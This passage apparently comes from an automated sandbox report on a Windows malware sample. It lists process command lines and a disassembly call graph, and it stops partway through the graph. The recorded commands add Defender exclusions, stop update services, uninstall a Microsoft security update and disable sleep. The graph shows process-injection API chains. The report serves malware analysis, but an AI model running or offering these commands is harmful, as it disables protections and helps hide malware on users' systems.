                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:35
                                          Start time:11:57:16
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\conhost.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                          Imagebase:0x7ff7699e0000
                                          File size:862'208 bytes
                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:36
                                          Start time:11:57:16
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\svchost.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
                                          Imagebase:0x7ff6eef20000
                                          File size:55'320 bytes
                                          MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:false

                                          General

                                          Target ID:37
                                          Start time:11:57:17
                                          Start date:14/12/2024
                                          Path:C:\ProgramData\WindowsServices\WindowsAutHost
                                          Wow64 process (32bit):false
                                          Commandline:C:\ProgramData\WindowsServices\WindowsAutHost
                                          Imagebase:0x7ff74cc60000
                                          File size:17'878'016 bytes
                                          MD5 hash:A36AA640215E6E609FB942FF79C5ADB5
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Antivirus matches:
                                          • Detection: 100%, Joe Sandbox ML
                                          • Detection: 47%, ReversingLabs
                                          Has exited:true

                                          General

                                          Target ID:38
                                          Start time:11:57:17
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\dwm.exe
                                          Wow64 process (32bit):false
                                          Commandline:"dwm.exe"
                                          Imagebase:0x7ff74e710000
                                          File size:94'720 bytes
                                          MD5 hash:5C27608411832C5B39BA04E33D53536C
                                          Has elevated privileges:false
                                          Has administrator privileges:false
                                          Programmed in:C, C++ or other language
                                          Has exited:false

                                          General

                                          Target ID:40
                                          Start time:11:57:19
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                          Imagebase:0x7ff788560000
                                          File size:452'608 bytes
                                          MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:41
                                          Start time:11:57:19
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\conhost.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                          Imagebase:0x7ff7699e0000
                                          File size:862'208 bytes
                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:42
                                          Start time:11:57:20
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\svchost.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
                                          Imagebase:0x7ff6eef20000
                                          File size:55'320 bytes
                                          MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:false

                                          General

                                          Target ID:43
                                          Start time:11:57:21
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\svchost.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
                                          Imagebase:0x7ff6eef20000
                                          File size:55'320 bytes
                                          MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                          Has elevated privileges:false
                                          Has administrator privileges:false
                                          Programmed in:C, C++ or other language
                                          Has exited:false

                                          General

                                          Target ID:44
                                          Start time:11:57:21
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\svchost.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                                          Imagebase:0x7ff6eef20000
                                          File size:55'320 bytes
                                          MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:false

                                          General

                                          Target ID:45
                                          Start time:11:57:21
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\svchost.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                                          Imagebase:0x7ff6eef20000
                                          File size:55'320 bytes
                                          MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                          Has elevated privileges:false
                                          Has administrator privileges:false
                                          Programmed in:C, C++ or other language
                                          Has exited:false

                                          General

                                          Target ID:46
                                          Start time:11:57:21
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\cmd.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                          Imagebase:0x7ff7c7d40000
                                          File size:289'792 bytes
                                          MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:47
                                          Start time:11:57:21
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\sc.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\sc.exe stop UsoSvc
                                          Imagebase:0x7ff645470000
                                          File size:72'192 bytes
                                          MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:48
                                          Start time:11:57:21
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\conhost.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                          Imagebase:0x7ff7699e0000
                                          File size:862'208 bytes
                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:49
                                          Start time:11:57:21
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\conhost.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                          Imagebase:0x7ff7699e0000
                                          File size:862'208 bytes
                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:50
                                          Start time:11:57:21
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\wusa.exe
                                          Wow64 process (32bit):false
                                          Commandline:wusa /uninstall /kb:890830 /quiet /norestart
                                          Imagebase:0x7ff6aca30000
                                          File size:345'088 bytes
                                          MD5 hash:FBDA2B8987895780375FE0E6254F6198
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:51
                                          Start time:11:57:21
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\sc.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                          Imagebase:0x7ff645470000
                                          File size:72'192 bytes
                                          MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:52
                                          Start time:11:57:21
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\conhost.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                          Imagebase:0x7ff7699e0000
                                          File size:862'208 bytes
                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:53
                                          Start time:11:57:21
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\svchost.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                                          Imagebase:0x7ff6eef20000
                                          File size:55'320 bytes
                                          MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:false

                                          General

                                          Target ID:54
                                          Start time:11:57:21
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\sc.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\sc.exe stop wuauserv
                                          Imagebase:0x7ff645470000
                                          File size:72'192 bytes
                                          MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:55
                                          Start time:11:57:22
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\conhost.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                          Imagebase:0x7ff7699e0000
                                          File size:862'208 bytes
                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:56
                                          Start time:11:57:22
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\sc.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\sc.exe stop bits
                                          Imagebase:0x7ff645470000
                                          File size:72'192 bytes
                                          MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:57
                                          Start time:11:57:22
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\conhost.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                          Imagebase:0x7ff7699e0000
                                          File size:862'208 bytes
                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:58
                                          Start time:11:57:22
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\sc.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\sc.exe stop dosvc
                                          Imagebase:0x7ff645470000
                                          File size:72'192 bytes
                                          MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:59
                                          Start time:11:57:22
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\conhost.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                          Imagebase:0x7ff7699e0000
                                          File size:862'208 bytes
                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:60
                                          Start time:11:57:22
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\powercfg.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                          Imagebase:0x7ff7f4b40000
                                          File size:96'256 bytes
                                          MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:61
                                          Start time:11:57:22
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\powercfg.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                          Imagebase:0x7ff7f4b40000
                                          File size:96'256 bytes
                                          MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:62
                                          Start time:11:57:22
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\conhost.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                          Imagebase:0x7ff7699e0000
                                          File size:862'208 bytes
                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:63
                                          Start time:11:57:22
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\powercfg.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                          Imagebase:0x7ff7f4b40000
                                          File size:96'256 bytes
                                          MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:64
                                          Start time:11:57:22
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\conhost.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                          Imagebase:0x7ff7699e0000
                                          File size:862'208 bytes
                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:65
                                          Start time:11:57:22
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\powercfg.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                          Imagebase:0x7ff7f4b40000
                                          File size:96'256 bytes
                                          MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:66
                                          Start time:11:57:22
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\conhost.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                          Imagebase:0x7ff7699e0000
                                          File size:862'208 bytes
                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:67
                                          Start time:11:57:22
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\conhost.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                          Imagebase:0x7ff7699e0000
                                          File size:862'208 bytes
                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:68
                                          Start time:11:57:22
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\dialer.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\dialer.exe
                                          Imagebase:0x7ff720e40000
                                          File size:39'936 bytes
                                          MD5 hash:B2626BDCF079C6516FC016AC5646DF93
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:false

                                          General

                                          Target ID:69
                                          Start time:11:57:22
                                          Start date:14/12/2024
                                          Path:C:\Windows\System32\dialer.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\dialer.exe
                                          Imagebase:0x7ff720e40000
                                          File size:39'936 bytes
                                          MD5 hash:B2626BDCF079C6516FC016AC5646DF93
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:false

                                          Disassembly

                                          Reset < >

                                            Execution Graph

                                            Execution Coverage:45.4%
                                            Dynamic/Decrypted Code Coverage:0%
                                            Signature Coverage:67%
                                            Total number of Nodes:227
                                            Total number of Limit Nodes:25
                                            execution_graph 522 140002524 523 140002531 522->523 524 140002539 522->524 525 1400010c0 30 API calls 523->525 525->524 383 140002bf8 384 140002c05 383->384 386 140002c25 ConnectNamedPipe 384->386 387 140002c1a Sleep 384->387 393 140001b54 AllocateAndInitializeSid 384->393 388 140002c83 Sleep 386->388 389 140002c34 ReadFile 386->389 387->384 391 140002c8e DisconnectNamedPipe 388->391 390 140002c57 WriteFile 389->390 389->391 390->391 391->386 394 140001bb1 SetEntriesInAclW 393->394 395 140001c6f 393->395 394->395 396 140001bf5 LocalAlloc 394->396 395->384 396->395 397 140001c09 InitializeSecurityDescriptor 396->397 397->395 398 140001c19 SetSecurityDescriptorDacl 397->398 398->395 399 140001c30 CreateNamedPipeW 398->399 399->395 400 140002258 403 14000226c 400->403 427 140001f2c 403->427 406 140001f2c 14 API calls 407 14000228f GetCurrentProcessId OpenProcess 406->407 408 140002321 FindResourceExA 407->408 409 1400022af OpenProcessToken 407->409 412 140002341 SizeofResource 408->412 413 140002261 ExitProcess 408->413 410 1400022c3 LookupPrivilegeValueW 409->410 411 140002318 CloseHandle 409->411 410->411 414 1400022da AdjustTokenPrivileges 410->414 411->408 412->413 415 14000235a LoadResource 412->415 414->411 416 140002312 GetLastError 414->416 415->413 417 14000236e LockResource GetCurrentProcessId 415->417 416->411 441 1400017ec GetProcessHeap HeapAlloc 417->441 419 14000238b RegCreateKeyExW 420 140002489 CreateThread GetProcessHeap HeapAlloc CreateThread CreateThread 419->420 421 1400023cc ConvertStringSecurityDescriptorToSecurityDescriptorW 419->421 422 14000250f SleepEx 420->422 423 1400023f4 RegSetKeySecurity LocalFree 421->423 424 14000240e RegCreateKeyExW 421->424 422->422 423->424 425 140002448 GetCurrentProcessId RegSetValueExW RegCloseKey 424->425 426 14000247f RegCloseKey 424->426 425->426 426->420 428 140001f35 StrCpyW StrCatW GetModuleHandleW 427->428 429 1400020ff 427->429 428->429 430 140001f86 GetCurrentProcess K32GetModuleInformation 428->430 429->406 431 1400020f6 FreeLibrary 430->431 432 140001fb6 CreateFileW 430->432 431->429 432->431 433 140001feb CreateFileMappingW 432->433 434 140002014 MapViewOfFile 433->434 435 1400020ed CloseHandle 433->435 436 1400020e4 CloseHandle 434->436 437 140002037 434->437 435->431 436->435 437->436 438 140002050 lstrcmpiA 437->438 440 14000208e 437->440 438->437 439 140002090 VirtualProtect VirtualProtect 438->439 439->436 440->436 447 1400014d8 GetProcessHeap HeapAlloc GetProcessHeap HeapAlloc K32EnumProcesses 441->447 443 140001885 GetProcessHeap HeapFree 444 140001830 444->443 445 140001851 OpenProcess 444->445 445->444 446 140001867 TerminateProcess CloseHandle 445->446 446->444 448 140001565 447->448 449 14000162f GetProcessHeap HeapFree GetProcessHeap HeapFree 447->449 448->449 450 14000157a OpenProcess 448->450 452 14000161a CloseHandle 448->452 453 1400015c9 ReadProcessMemory 448->453 449->444 450->448 451 140001597 K32EnumProcessModules 450->451 451->448 451->452 452->448 453->448 454 140002b38 GetProcessHeap HeapAlloc GetProcessHeap HeapAlloc 455 140002b8e K32EnumProcesses 454->455 456 140002beb Sleep 455->456 458 140002ba3 455->458 456->455 457 140002bdc 457->456 458->457 460 140002540 458->460 461 140002558 460->461 462 14000254d 460->462 461->458 464 1400010c0 462->464 502 1400018ac OpenProcess 464->502 467 1400014ba 467->461 468 140001122 OpenProcess 468->467 469 14000113e OpenProcess 468->469 470 140001161 K32GetModuleFileNameExW 469->470 471 1400011fd NtQueryInformationProcess 469->471 472 1400011aa CloseHandle 470->472 473 14000117a PathFindFileNameW lstrlenW 470->473 474 1400014b1 CloseHandle 471->474 475 140001224 471->475 472->471 477 1400011b8 472->477 473->472 476 140001197 StrCpyW 473->476 474->467 475->474 478 140001230 OpenProcessToken 475->478 476->472 477->471 479 1400011d8 StrCmpIW 477->479 478->474 480 14000124e GetTokenInformation 478->480 479->474 479->477 481 1400012f1 480->481 482 140001276 GetLastError 480->482 483 1400012f8 CloseHandle 481->483 482->481 484 140001281 LocalAlloc 482->484 483->474 489 14000130c 483->489 484->481 485 140001297 GetTokenInformation 484->485 486 1400012df 485->486 487 1400012bf GetSidSubAuthorityCount GetSidSubAuthority 485->487 488 1400012e6 LocalFree 486->488 487->488 488->483 489->474 490 14000139b StrStrA 489->490 491 1400013c3 489->491 490->489 492 1400013c8 490->492 491->474 492->474 493 1400013f3 VirtualAllocEx 492->493 493->474 494 140001420 WriteProcessMemory 493->494 494->474 495 14000143b 494->495 507 14000211c 495->507 497 14000145b 497->474 498 140001478 WaitForSingleObject 497->498 501 140001471 CloseHandle 497->501 500 140001487 GetExitCodeThread 498->500 498->501 500->501 501->474 503 14000110e 502->503 504 1400018d8 IsWow64Process 502->504 503->467 503->468 505 1400018f8 CloseHandle 504->505 506 1400018ea 504->506 505->503 506->505 510 140001914 GetModuleHandleA 507->510 511 140001934 GetProcAddress 510->511 512 14000193d 510->512 511->512 513 1400021d0 514 1400021dd 513->514 515 140001b54 6 API calls 514->515 516 1400021f2 Sleep 514->516 517 1400021fd ConnectNamedPipe 514->517 515->514 516->514 518 140002241 Sleep 517->518 519 14000220c ReadFile 517->519 520 14000224c DisconnectNamedPipe 518->520 519->520 521 14000222f 519->521 520->517 521->520 526 140002560 527 140002592 526->527 528 14000273a 526->528 529 1400026c6 GetProcessHeap HeapAlloc K32EnumProcesses 527->529 530 140002598 527->530 531 140002748 528->531 532 14000297e ReadFile 528->532 533 140002633 529->533 535 140002704 529->535 536 1400025a5 530->536 537 1400026bd ExitProcess 530->537 538 140002751 531->538 539 140002974 531->539 532->533 534 1400029a8 532->534 534->533 547 1400018ac 3 API calls 534->547 535->533 549 1400010c0 30 API calls 535->549 543 1400025ae 536->543 544 140002660 RegOpenKeyExW 536->544 540 140002919 538->540 541 14000275c 538->541 542 14000175c 22 API calls 539->542 548 140001944 ReadFile 540->548 545 140002761 541->545 546 14000279d 541->546 542->533 543->533 559 1400025cb ReadFile 543->559 550 1400026a1 544->550 551 14000268d RegDeleteValueW 544->551 545->533 608 14000217c 545->608 611 140001944 546->611 552 1400029c7 547->552 554 140002928 548->554 549->535 595 1400019c4 SysAllocString SysAllocString CoInitializeEx 550->595 551->550 552->533 563 1400029db GetProcessHeap HeapAlloc 552->563 564 140002638 552->564 554->533 566 140001944 ReadFile 554->566 558 1400026a6 603 14000175c GetProcessHeap HeapAlloc 558->603 559->533 561 1400025f5 559->561 561->533 573 1400018ac 3 API calls 561->573 569 1400014d8 13 API calls 563->569 575 140002a90 4 API calls 564->575 565 1400027b4 ReadFile 565->533 570 1400027dc 565->570 571 14000293f 566->571 586 140002a14 569->586 570->533 576 1400027e9 GetProcessHeap HeapAlloc ReadFile 570->576 571->533 577 140002947 ShellExecuteW 571->577 579 140002614 573->579 575->533 581 14000290b GetProcessHeap 576->581 582 14000282d 576->582 577->533 579->533 579->564 585 140002624 579->585 580 140002a49 GetProcessHeap 583 140002a52 HeapFree 580->583 581->583 582->581 587 140002881 lstrlenW GetProcessHeap HeapAlloc 582->587 588 14000285e 582->588 583->533 589 1400010c0 30 API calls 585->589 586->580 635 1400016cc 586->635 629 140002a90 CreateFileW 587->629 588->581 615 140001c88 588->615 589->533 596 140001a11 CoInitializeSecurity 595->596 597 140001b2c SysFreeString SysFreeString 595->597 598 140001a59 CoCreateInstance 596->598 599 140001a4d 596->599 597->558 600 140001b26 CoUninitialize 598->600 601 140001a88 VariantInit 598->601 599->598 599->600 600->597 602 140001ade 601->602 602->600 604 1400014d8 13 API calls 603->604 606 14000179a 604->606 605 1400017c8 GetProcessHeap HeapFree 606->605 607 1400016cc 5 API calls 606->607 607->606 609 140001914 2 API calls 608->609 610 140002191 609->610 612 140001968 ReadFile 611->612 613 14000198b 612->613 614 1400019a5 612->614 613->612 613->614 614->533 614->565 616 140001cbb 615->616 617 140001cce CreateProcessW 616->617 619 140001e97 616->619 621 140001e62 OpenProcess 616->621 623 140001dd2 VirtualAlloc 616->623 625 140001d8c WriteProcessMemory 616->625 617->616 618 140001d2b VirtualAllocEx 617->618 618->616 620 140001d60 WriteProcessMemory 618->620 619->581 620->616 621->616 622 140001e78 TerminateProcess 621->622 622->616 623->616 624 140001df1 GetThreadContext 623->624 624->616 626 140001e09 WriteProcessMemory 624->626 625->616 626->616 627 140001e30 SetThreadContext 626->627 627->616 628 140001e4e ResumeThread 627->628 628->616 628->619 630 1400028f7 GetProcessHeap HeapFree 629->630 631 140002ada WriteFile 629->631 630->581 632 140002b1c CloseHandle 631->632 633 140002afe 631->633 632->630 633->632 634 140002b02 WriteFile 633->634 634->632 636 140001745 635->636 637 1400016eb OpenProcess 635->637 636->580 637->636 638 140001703 637->638 639 14000211c 2 API calls 638->639 640 140001723 639->640 641 14000173c CloseHandle 640->641 642 140001731 CloseHandle 640->642 641->636 642->641

                                            Callgraph

                                            Executed Functions

                                            Function 000000014000226C Relevance: 61.4, APIs: 27, Strings: 8, Instructions: 165registrymemorythreadCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000019.00000002.1888117862.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                            • Associated: 00000019.00000002.1888083299.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                            • Associated: 00000019.00000002.1888155697.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
                                            • Associated: 00000019.00000002.1888186496.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_25_2_140000000_dialer.jbxd
                                            Similarity
                                            • API ID: CreateProcess$Close$CurrentHandleResource$FileSecurityThread$DescriptorFreeHeapModuleOpenProtectTokenValueVirtual$AdjustAllocConvertErrorFindInformationLastLibraryLoadLocalLockLookupMappingPrivilegePrivilegesSizeofSleepStringViewlstrcmpi
                                            • String ID: D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA)$DLL$SOFTWARE\dialerconfig$SeDebugPrivilege$kernel32.dll$ntdll.dll$pid$svc64
                                            • API String ID: 4177739653-1130149537
                                            • Opcode ID: d90b24f95a95c841a2e029a5b4d6274d008a65fb61feaf57b7d2a555975f1ca1
                                            • Instruction ID: c2e61514e361dd61edc66d1a85693de1d2c237bf329a5b31df93bef4cff25afe
                                            • Opcode Fuzzy Hash: d90b24f95a95c841a2e029a5b4d6274d008a65fb61feaf57b7d2a555975f1ca1
                                            • Instruction Fuzzy Hash: B781E4B6200B4196EB26CF62F8547D977A9F78CBD8F44512AEB4A43A78DF38C148C740
                                            Function 00000001400010C0 Relevance: 51.0, APIs: 25, Strings: 4, Instructions: 257memorystringnativeCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 24 1400010c0-140001110 call 1400018ac 27 140001116-14000111c 24->27 28 1400014ba-1400014d6 24->28 27->28 29 140001122-140001138 OpenProcess 27->29 29->28 30 14000113e-14000115b OpenProcess 29->30 31 140001161-140001178 K32GetModuleFileNameExW 30->31 32 1400011fd-14000121e NtQueryInformationProcess 30->32 33 1400011aa-1400011b6 CloseHandle 31->33 34 14000117a-140001195 PathFindFileNameW lstrlenW 31->34 35 1400014b1-1400014b4 CloseHandle 32->35 36 140001224-14000122a 32->36 33->32 38 1400011b8-1400011d3 33->38 34->33 37 140001197-1400011a7 StrCpyW 34->37 35->28 36->35 39 140001230-140001248 OpenProcessToken 36->39 37->33 40 1400011d8-1400011ea StrCmpIW 38->40 39->35 41 14000124e-140001274 GetTokenInformation 39->41 40->35 42 1400011f0-1400011fb 40->42 43 1400012f1 41->43 44 140001276-14000127f GetLastError 41->44 42->32 42->40 45 1400012f8-140001306 CloseHandle 43->45 44->43 46 140001281-140001295 LocalAlloc 44->46 45->35 47 14000130c-140001313 45->47 46->43 48 140001297-1400012bd GetTokenInformation 46->48 47->35 51 140001319-140001324 47->51 49 1400012df 48->49 50 1400012bf-1400012dd GetSidSubAuthorityCount GetSidSubAuthority 48->50 52 1400012e6-1400012ef LocalFree 49->52 50->52 51->35 53 14000132a-140001334 51->53 52->45 53->35 54 14000133a-140001344 53->54 54->35 55 14000134a-14000138a call 140001ec4 * 3 54->55 55->35 62 140001390-1400013b0 call 140001ec4 StrStrA 55->62 65 1400013b2-1400013c1 62->65 66 1400013c8-1400013ed call 140001ec4 * 2 62->66 65->62 67 1400013c3 65->67 66->35 72 1400013f3-14000141a VirtualAllocEx 66->72 67->35 72->35 73 140001420-140001439 WriteProcessMemory 72->73 73->35 74 14000143b-14000145d call 14000211c 73->74 74->35 77 14000145f-140001467 74->77 77->35 78 140001469-14000146f 77->78 79 140001471-140001476 78->79 80 140001478-140001485 WaitForSingleObject 78->80 81 1400014ab CloseHandle 79->81 82 1400014a6 